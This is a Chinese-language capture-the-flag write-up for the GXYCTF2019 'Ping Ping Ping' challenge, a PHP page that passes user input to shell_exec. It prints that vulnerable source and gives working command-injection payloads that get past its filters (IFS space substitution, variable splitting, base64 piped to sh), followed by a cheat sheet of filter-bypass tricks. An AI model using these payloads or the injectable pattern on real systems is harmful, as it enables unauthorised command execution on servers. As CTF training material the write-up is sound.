【GXYCTF2019】Ping Ping Ping
进去看到ping,应该是拿文件,试试?ip=127.0.0.1;ls
出了flag.php和index.php,试着打开flag.phpcat flag.php
然后被过滤了空格
然后查看资料后可以用${IFS}$
过滤,使用之后大括号也被过滤了,不过没关系,我们可以不用大括号,注意过滤符后要加一个数字,不论是多少。
然后继续cat$IFS$1flag.php
发现又过滤了flag。哭了呀。
只能打开index.php了,cat$IFS$1index.php
出现php代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php if(isset($_GET['ip'])){ $ip = $_GET['ip']; if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\-->|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo "<pre>"; print_r($a); }
?>
|
这些再网页源码中。看到这了,已经很明了了,知到过滤了些什么。我们主要看flag的过滤方式,正则表达式.*
意思是匹配后面的一切字符,结束为止。我们看到后面还有一个变量a。我们可以替换变量。
payload
?ip=127.0.0.1;a=f;cat$IFS$1$alag.php
然后
继续式l、a、g
之后只有g可以,这正应证了上面所说,怎么规则表达结束为止,所以这里只有g可以。它这个flag并不会直接显示出来。
还有之中方法就是利用sh
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw => cat falg.php ; sh为执行前面那段话
这样也可以得到flag.因为bash方法不能用,但可以用sh。
当然,绕过方式并不止这些。通过阅读大佬博客还有内联执行。
内联执行
1 2
| ?ip=127.0.0.1;cat$IFS$1`ls` //内联,就是将反引号内命令的输出作为输入执行
|
代替空格
1 2 3 4 5 6 7 8
| $IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 < //cat<a.txt <> {cat,flag.php} //用逗号实现了空格功能 %20 (space) %09 (tab)
|
关键字绕过方法。
方法一:特殊变量
1 2 3 4 5
| $* $@ $x (x 代表 1~9) ${x} (x>=10) 在没有传参的情况下,上面的特殊变量都是为空 ca{21}t a.txt
|
方法二:反斜杠
ca\t a.txt
方法三:变量替换
a=ca;b=t;c=a.txt;aaab $c
方法四:引号
c'a't flag.php
方法五:编码绕过
base64编码绕过
1 2
| echo 'cat a.txt'| base64 Y2F0IGEudHh0Cg== echo 'Y2F0IGEudHh0Cg=='| base64 -d abc
|
方法六:十六进制编码绕过
1 2
| echo 'cat a.txt'|xxd -p 63617420612e7478740a echo '0x63617420612e7478740a'|xxd -r -p Abc
|
方法七:通配符
1 2 3 4 5
| ? * [...]: 匹配范围中任何一个字符 cat fl[abc]g.php [a-z]: 匹配a-z范围中任何一个字符 cat fl[a-z]g.php {a,b}: 对以逗号分割的文件列表进行拓展 cat fl{b,c}g.php
|
命令分隔与执行多条命令
1 2 3 4 5 6 7 8 9 10
| 1.& & 表示将任务置于后台执行 2.&& 只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。 3.| | 表示管道,上一条命令的输出,作为下一条命令的参数 4.|| 只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。 5.; 多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块
|